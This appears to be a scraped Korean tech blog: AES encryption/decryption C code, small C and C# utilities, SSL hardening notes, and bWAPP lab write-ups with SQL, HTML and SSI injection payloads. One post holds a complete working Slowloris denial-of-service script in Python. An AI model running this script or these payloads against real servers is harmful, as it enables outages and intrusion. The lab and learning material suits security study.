unsigned char temp[32] = {0x00  ,0x01  ,0x02  ,0x03  ,0x04  ,0x05  ,0x06  ,0x07  ,0x08  ,0x09  ,0x0a  ,0x0b  ,0x0c  ,0x0d  ,0x0e  ,0x0f};

unsigned char temp2[32]= {0x00  ,0x11  ,0x22  ,0x33  ,0x44  ,0x55  ,0x66  ,0x77  ,0x88  ,0x99  ,0xaa  ,0xbb  ,0xcc  ,0xdd  ,0xee  ,0xff};

// Copy the Key and PlainText

for(i=0;i<Nk*4;i++)

{

Key[i]=temp[i];

in[i]=temp2[i];

}


//       *********************************************************





// Uncomment Part 2 if you need to read key and plaintext from the keyboard.

// Part 2: ********************************************************

/*

//Clear the input buffer

flushall();


//Recieve the key from the user

printf("Enter the Key in hexadecimal: ");

for(i=0;i<Nk*4;i++)

{

scanf("%x",&Key[i]);

}

*/

printf("Enter the PlainText in hexadecimal: ");

for(i=0;i<Nb*4;i++)

{

scanf("%x",&in[i]);

}


//        ********************************************************



// The KeyExpansion routine must be called before encryption.

KeyExpansion();


// The next function call encrypts the PlainText with the Key using AES algorithm.

Cipher();


// Output the encrypted text.

printf("nText after encryption:n");

for(i=0;i<Nb*4;i++)

{

printf("%02x ",out[i]);

}

printf("nn");

}






/*
******************************************************************
**       Advanced Encryption Standard implementation in C.      **
**       By Niyaz PK                                            **
**       E-mail: niyazlife@gmail.com                            **
**       Downloaded from Website: www.hoozi.com                 **
******************************************************************
This is the source code for decryption using the latest AES algorithm.
AES algorithm is also called Rijndael algorithm. AES algorithm is 
recommended for non-classified use by the National Institute of Standards 
and Technology(NIST), USA. Now-a-days AES is being used for almost 
all encryption applications all around the world.

THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT
IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL
TO UNDERSTAND THE AES ALGORITHM.

Comments are provided as needed to understand the program. But the 
user must read some AES documentation to understand the underlying 
theory correctly.

It is not possible to describe the complete AES algorithm in detail 
here. For the complete description of the algorithm, point your 
browser to:
http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf

Find the Wikipedia page of AES at:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
******************************************************************
*/

// Include stdio.h for standard input/output.
// Used for giving output to the screen.
#include<stdio.h>

// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.
int Nr=0;

// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.
int Nk=0;

// in - it is the array that holds the CipherText to be decrypted.
// out - it is the array that holds the output of the for decryption.
// state - the array that holds the intermediate results during decryption.
unsigned char in[16], out[16], state[4][4];

// The array that stores the round keys.
unsigned char RoundKey[240];

// The Key input to the AES Program
unsigned char Key[32];

int getSBoxInvert(int num)
{
int rsbox[256] =
{ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb
, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb
, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e
, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25
, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92
, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84
, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06
, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b
, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73
, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e
, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b
, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4
, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f
, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef
, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61
, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };

return rsbox[num];
}

int getSBoxValue(int num)
{
	int sbox[256] =   {
	//0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F
	0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
	0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
	0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
	0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
	0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
	0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
	0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
	0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
	0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
	0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
	0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
	0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
	0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
	0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
	0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
	0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
	return sbox[num];
}

// The round constant word array, Rcon[i], contains the values given by 
// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
// Note that i starts at 1, not 0).
int Rcon[255] = {
	0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 
	0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 
	0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 
	0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 
	0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 
	0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 
	0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 
	0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 
	0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 
	0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 
	0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 
	0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 
	0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 
	0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 
	0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 
	0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb  };

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 
void KeyExpansion()
{
	int i,j;
	unsigned char temp[4],k;
	
	// The first round key is the key itself.
	for(i=0;i<Nk;i++)
	{
		RoundKey[i*4]=Key[i*4];
		RoundKey[i*4+1]=Key[i*4+1];
		RoundKey[i*4+2]=Key[i*4+2];
		RoundKey[i*4+3]=Key[i*4+3];
	}

	// All other round keys are found from the previous round keys.
	while (i < (Nb * (Nr+1)))
	{
		for(j=0;j<4;j++)
		{
			temp[j]=RoundKey[(i-1) * 4 + j];
		}
		if (i % Nk == 0)
		{
			// This function rotates the 4 bytes in a word to the left once.
			// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

			// Function RotWord()
			{
				k = temp[0];
				temp[0] = temp[1];
				temp[1] = temp[2];
				temp[2] = temp[3];
				temp[3] = k;
			}

			// SubWord() is a function that takes a four-byte input word and 
			// applies the S-box to each of the four bytes to produce an output word.

			// Function Subword()
			{
				temp[0]=getSBoxValue(temp[0]);
				temp[1]=getSBoxValue(temp[1]);
				temp[2]=getSBoxValue(temp[2]);
				temp[3]=getSBoxValue(temp[3]);
			}

			temp[0] =  temp[0] ^ Rcon[i/Nk];
		}
		else if (Nk > 6 && i % Nk == 4)
		{
			// Function Subword()
			{
				temp[0]=getSBoxValue(temp[0]);
				temp[1]=getSBoxValue(temp[1]);
				temp[2]=getSBoxValue(temp[2]);
				temp[3]=getSBoxValue(temp[3]);
			}
		}
		RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];
		RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];
		RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];
		RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];
		i++;
	}
}

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
void AddRoundKey(int round) 
{
	int i,j;
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];
		}
	}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
void InvSubBytes()
{
	int i,j;
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[i][j] = getSBoxInvert(state[i][j]);

		}
	}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
void InvShiftRows()
{
	unsigned char temp;

	// Rotate first row 1 columns to right	
	temp=state[1][3];
	state[1][3]=state[1][2];
	state[1][2]=state[1][1];
	state[1][1]=state[1][0];
	state[1][0]=temp;

	// Rotate second row 2 columns to right	
	temp=state[2][0];
	state[2][0]=state[2][2];
	state[2][2]=temp;

	temp=state[2][1];
	state[2][1]=state[2][3];
	state[2][3]=temp;

	// Rotate third row 3 columns to right
	temp=state[3][0];
	state[3][0]=state[3][1];
	state[3][1]=state[3][2];
	state[3][2]=state[3][3];
	state[3][3]=temp;
}

// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}  
#define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))

// Multiplty is a macro used to multiply numbers in the field GF(2^8)
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
void InvMixColumns()
{
	int i;
	unsigned char a,b,c,d;
	for(i=0;i<4;i++)
	{	
	
		a = state[0][i];
		b = state[1][i];
		c = state[2][i];
		d = state[3][i];

		
		state[0][i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
		state[1][i] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
		state[2][i] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
		state[3][i] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
	}
}

// InvCipher is the main function that decrypts the CipherText.
void InvCipher()
{
	int i,j,round=0;

	//Copy the input CipherText to state array.
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[j][i] = in[i*4 + j];
		}
	}

	// Add the First round key to the state before starting the rounds.
	AddRoundKey(Nr); 

	// There will be Nr rounds.
	// The first Nr-1 rounds are identical.
	// These Nr-1 rounds are executed in the loop below.
	for(round=Nr-1;round>0;round--)
	{
		InvShiftRows();
		InvSubBytes();
		AddRoundKey(round);
		InvMixColumns();
	}
	
	// The last round is given below.
	// The MixColumns function is not here in the last round.
	InvShiftRows();
	InvSubBytes();
	AddRoundKey(0);

	// The decryption process is over.
	// Copy the state array to output array.
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			out[i*4+j]=state[j][i];
		}
	}
}
int main()
{
	int i;

	// Recieve the length of key here.
	while(Nr!=128 && Nr!=192 && Nr!=256)
	{
		printf("Enter the length of Key(128, 192 or 256 only): ");
		scanf("%d",&Nr);
	}
	// Calculate Nk and Nr from the recieved value.
	Nk = Nr / 32;
	Nr = Nk + 6;



// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.
// 	Part 1: ********************************************************
	
	// The array temp stores the key.
	// The array temp2 stores the plaintext.
	unsigned char temp[32] = {0x00  ,0x01  ,0x02  ,0x03  ,0x04  ,0x05  ,0x06  ,0x07  ,0x08  ,0x09  ,0x0a  ,0x0b  ,0x0c  ,0x0d  ,0x0e  ,0x0f};
	unsigned char temp2[32]= {0x69  ,0xc4  ,0xe0  ,0xd8  ,0x6a  ,0x7b  ,0x04  ,0x30  ,0xd8  ,0xcd  ,0xb7  ,0x80  ,0x70  ,0xb4  ,0xc5  ,0x5a};
	
	// Copy the Key and CipherText
	for(i=0;i<Nk*4;i++)
	{
		Key[i]=temp[i];
		in[i]=temp2[i];
	}

//	       *********************************************************




// Uncomment Part 2 if you need to read Key and CipherText from the keyboard.
// 	Part 2: ********************************************************
/*
	//Clear the input buffer
	flushall();

	//Recieve the Key from the user
	printf("Enter the Key in hexadecimal: ");
	for(i=0;i<Nk*4;i++)
	{
		scanf("%x",&Key[i]);
	}

	printf("Enter the CipherText in hexadecimal: ");
	for(i=0;i<Nb*4;i++)
	{
		scanf("%x",&in[i]);
	}
*/
// 	        ********************************************************


	//The Key-Expansion routine must be called before the decryption routine.
	KeyExpansion();

	// The next function call decrypts the CipherText with the Key using AES algorithm.
	InvCipher();

	// Output the decrypted text.
	printf("nText after decryption:n");
	for(i=0;i<Nb*4;i++)
	{
		printf("%02x ",out[i]);
	}
	printf("nn");

}

[C] asc2hex

[원문보기]
아래 소스를 실행하면 결과는 

16개의 문자에 대해 hex로 출력해 준다. 입력이 16보다 작으면 00(NULL)로 패딩한다.

넘으면 무시할 거닷.ㅎㅎ

암튼 암호화된 aes hex값을 복호화 하려 했으나, C에서는 인자를 char로 받아 도저히 한번에 처리가 안되었다.

그래서 어쩔 수 없이,

#!/bin/sh

./Sample 128 << myscript
$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16

myscript

쉘스크립트로 입력을 받아 복호화된 값을 출력하도록 했다.

# ./test.sh 8b a0 d4 c6 06 72 d6 e2 56 b4 59 28 1c 0d 32 2f
69 64 70 77 74 65 73 74 00 00 00 00 00 00 00 00

결과값은 어차피 php에 받아서 처리할 것이므로 머리 아프게 c에서 하지 말자.

#include<stdio.h>
#include <string.h>
#include <stdlib.h>
char hexDigit(unsigned n)
{
    if (n < 10) {
        return n + '0';
    } else {
        return (n - 10) + 'A';
    }
}
void charToHex(char c, unsigned char hex[3])
{
    hex[0] = hexDigit(c / 0x10);
    hex[1] = hexDigit(c % 0x10);
    hex[2] = '';
}
int main(int arg, char* argv[])
{
int j,o;
unsigned char k[3];
char *l=argv[1];
j=strlen(l);

for(o=0;o<j;o++){
charToHex(*(l+o),k);
printf("%s ", k);
}
for(o=j;o<16;o++){
printf("%s ", "00");
}
}

[C] epochtime double 형, sprintf

[원문보기]
  char tseed[100];
  CString csID;
  time_t timer;
  struct tm y2k;
  double seconds;

  y2k.tm_hour = 0;   y2k.tm_min = 0; y2k.tm_sec = 0;
  y2k.tm_year = 70; y2k.tm_mon = 1; y2k.tm_mday = 1;

  time(&timer);  /* get current time; same as: timer = time(NULL)  */

  seconds = difftime(timer,mktime(&y2k));
  sprintf( tseed, "%s%.f", csID, seconds );

csID라는 CString 형과 epoch time(unixtime)을 tseed라는 char형에 넣으려고 1970년 1월 1일 기준을 difftime으로 구해 넣었다.
time(&timer)로 나오는 값은 long형인데, 활용이 잘 되지 않아, 이렇게 되었다.
비효율적이지만, 어쩔 수 없다.

[C#] 파일명 바꾸는 프로그램

[원문보기]

경로명을 참조하여 파일명을 바꾸는 프로그램이다.


        private static string Rename(string filePath, string oldFile, string newFile)

        {

            newFile = filePath + "\" + newFile;

            System.IO.File.Move(oldFile, newFile);

            return "";

        }


rename 함수는 인터넷에서 참조했고, 디렉터리를 리커시브하게 탐색하는 코드는 msdn에서 봤다.

c:에서 확장자를 지정하거나 파일명을 지정해 하위 폴더의 파일명을 바꾼다. 같은 레벨의 파일은 바뀌지 않는다.

한번 바뀐 파일은 no file 이란 출력을 하도록 개선했다.


[Perl] RUDY, Slowloris 공격

[원문보기]

http://advent.perl.kr/2012/2012-12-17.html

 

DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.

 

해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.

 

$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More

 

참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.

 

cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)

 

# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]

 

을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.

 

1.jpg

 

와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.

 

2.jpg

 

 

웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.

 

1.jpg

 

 

실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.

 

서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.

 

 

[python]

import socket, random, time, sys

headers = [

    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",

    "Accept-language: en-US,en"

]

 

sockets = []

 

def setupSocket(ip):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(4)

    sock.connect((ip, 80))

    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

 

    for header in headers:

        sock.send("{}\r\n".format(header).encode("utf-8"))

 

    return sock

 

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print("Use it like this: python {} example.com".format(sys.argv[0]))

        sys.exit()

 

    ip = sys.argv[1]

    count = 200

    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

 

    for _ in range(count):

        try:

            print("Socket {}".format(_))

            sock = setupSocket(ip)

        except socket.error:

            break

 

        sockets.append(sock)

 

    while True:

        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

 

        for sock in list(sockets):

            try:

                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))

            except socket.error:

                sockets.remove(sock)

 

        for _ in range(count - len(sockets)):

            print("Re-opening closed sockets...")

            try:

                sock = setupSocket(ip)

                if sock:

                    sockets.append(sock)

            except socket.error:

                break

 

        time.sleep(15)

 

[POODLE] SSLv3 Disable 적용 전, 후

[원문보기]

여러 환경에서 취약성을 비교해 볼 수 있는 화면이다.


SSLv3 disable 적용 전, 후를 확실히 확인 가능하다.


https://www.digicert.com/ssl-support/iis-disabling-ssl-v3.htm


IIS의 경우 reg를 제공하므로 쉽게 적용 가능하지만, 재부팅이 필요하다.



ba.png

[DROWN] Decrypting RSA with Obsolete and Weakened eNcryption

[원문보기]

DROWN 취약점이란  “Decrypting RSA with Obsolete and Weakened eNcryption: 취약한 구식 암호화법을 통한 RSA 복호화”에서 따온 이름으로, SSLv2취약점을 악용한 교차 프로토콜 공격입니다.


http://blog.alyac.co.kr/554


POODLE 과 RC4 관련 취약점 들을 제거하더라도 Openssl 관련 취약점이 계속 나오고 있다.


Heartbleed 는 시작이었다.



apache2 현재 Apache/2.2.22 (Ubuntu)  OpenSSL 1.0.1 14 Mar 2012 에서 아래 옵션을 사용해 봤으나 TLSv1.1 이 잘 못 되었다는데, 해결은 추후에 해야겠다.


SSLProtocol -all +TLSv1.1 +TLSv1.2

SSLCipherSuite HIGH:!aNULL:!MD5:!SSLv2:!SSLv3:!TLSv1


RC4는 


SSLProtocol all -SSLv2 -SSLv3

SSLHonorCipherOrder on

SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA EECDH EDH+aRSA !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS"


위와 같이 하면 된 듯 하다.


RC4.png


보안서버가 아래와 같이 무료로 사용할 수 있지만, 설정에 따라 취약할 수 있으니, 이 점에 주의해야 한다.

무료 점검 해주는 사이트들이 많아 좋기는 한데, 설정을 강화해야 하는 번거로움이 있다.


 

 

COMODO

Lets encrypt

Start SSL

금액

도메인 당 5만원 내외

무료

 무료

사용기간

2년/1년

3개월(90일)

1년(365일)

의존성

 

openssl, git, python, gcc, etc…..(자동설치)

 

발급기관

verisign, comodo, …..

Mozilla, …….. sponsored by Google, Facebook, CISCO….

StartCom

지원서버

Apache, nginx, IIS, …..

Apache, nginx, iis(unstable), ?

Apache, IIS, …..

멀티도메인

별도 지원

일반적으로 어려움

유료 지원

[bWAPP] iFrame injection

[원문보기]

A1 - Injection

iFrame injection


iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250


ParamUrl 에 경로에 존재하는 파일을 넣으면 내용 확인 및 다운로드가 가능하다.


다운로드되는 파일은 portal.zip 이고, 나머지 php 파일 등은 렌더링되어 나오므로 파일 다운로드로 보기는 어렵다.


portal.bak, bugs,txt, 666 은 텍스트 형식이므로 내용 확인이 가능하다.


A1IFR.PNG


이를 소개한 동영상에서는 width, height를 바꾸거나 외부 경로 입력을 테스트 했다.

[bWAPP] HTML Injection - Reflected (GET/POST)

[원문보기]

A1 - Injection

HTML Injection - Reflected (GET/POST)


id, pw 필드에 스크립트 코드를 넣으면 레벨 0에서 간단히 테스트할 수 있는데, 요즘 브라우저에서는 교차스크립트 방지 필터가 동작하여 결과 확인이 어렵다.


보안설정을 아래와 같이 바꾸면 가능하다.


A1XSS-GET.PNG


XSS 가 아니고, HTML이라, HTML 태그를 넣어 테스트 해보는 내용이다.


<H1>TEST</H1>

<H2>TEST</H2>

[bWAPP] HTML Injection - Reflected (URL)

[원문보기]

A1 - Injection

HTML Injection - Reflected (URL)


현재 url을 표시해주는 간단한 서버사이드 스크립트이다.


~.php?a={스크립트구문}


을 넣어주면 실행 가능하다.


A1XSS-URL.PNG


html 인젝션은 주소창 뒤에 ? 을 넣고 태그를 넣으면 된다.


?<h1>test</h1>

[bAWPP] HTML Injection - Stored (Blog)

[원문보기]

A1 - Injection

HTML Injection - Stored (Blog)


XSS 저장 방식이다.


게시판에 테스트 하듯이 스크립트 구문을 바로 입력하면 된다.


A1XSS-BLG.PNG


html 인젝션은 <h1>bee</h1><h2>bug</h2> 를 넣으면 된다.

[bWAPP] LDAP Injection (Search)

[원문보기]

A1 - Injection

LDAP Injection (Search)


search 구문에 * 을 넣으면 모든 사용자 검색이 가능하므로 해당 문자열을 사용하지 못하도록 한다.


로그인 우회는 확인 중이다.


A1LDAP.PNG

[bWAPP] LDAP Injection (Search)

[원문보기]

A1 - Injection

LDAP Injection (Search)


search 구문에 * 을 넣으면 모든 사용자 검색이 가능하므로 해당 문자열을 사용하지 못하도록 한다.


로그인 우회는 확인 중이다.


A1LDAP.PNG

[bWAPP] PHP Code Injection

[원문보기]

A1 - Injection

PHP Code Injection


해당 소스는 eval 로 되어 있다.


php 함수를 모두 사용 가능하다.


<p><i><?php @eval ("echo " .$_REQUEST["message"] . ";");?></i></p>



A1PHP.PNG

[bWAPP] Server-Side Includes (SSI) Injection

[원문보기]

A1 - Injection

Server-Side Includes (SSI) Injection


LoadModule 을 지원하는 환경에서 가능하다


입력 필드에 <!--#echo var="DOCUMENT_ROOT" --> 를 넣었을 때, 아래와 같이 나오면 LoadModule이 지원 안되는 것이다.

실행 자체가 안 되니 의미가 없다.

<p>Hello 11<!--#echo Var="DOCUMENT_ROOT" --> 11,</p><p>Your IP address is:</p><h1><!--#echo var="REMOTE_ADDR" --></h1>

http://lispro06.woweb.net/infra/51326 참고

* 그동안 cgi 로 혼동했다. T.T;;

[bWAPP] SQL Injection (GET[POST]/Select)

[원문보기]

A1 - Injection

SQL Injection (GET/Select)




A1SQL2.PNG


movie=0+union select schema(),version(),user(),database(),SESSION_USER(),schema(),1--+-&action=go



GET[POST]/SEARCH 는 ' 로 되어 single quote 를 쓸 수가 없다. 동영상에는 그대로 되는데, 환경 탓 인가...


우분투에서는 되는군.

첨부 (1)
A1OSC.PNG
33.2KB / Download 27
위로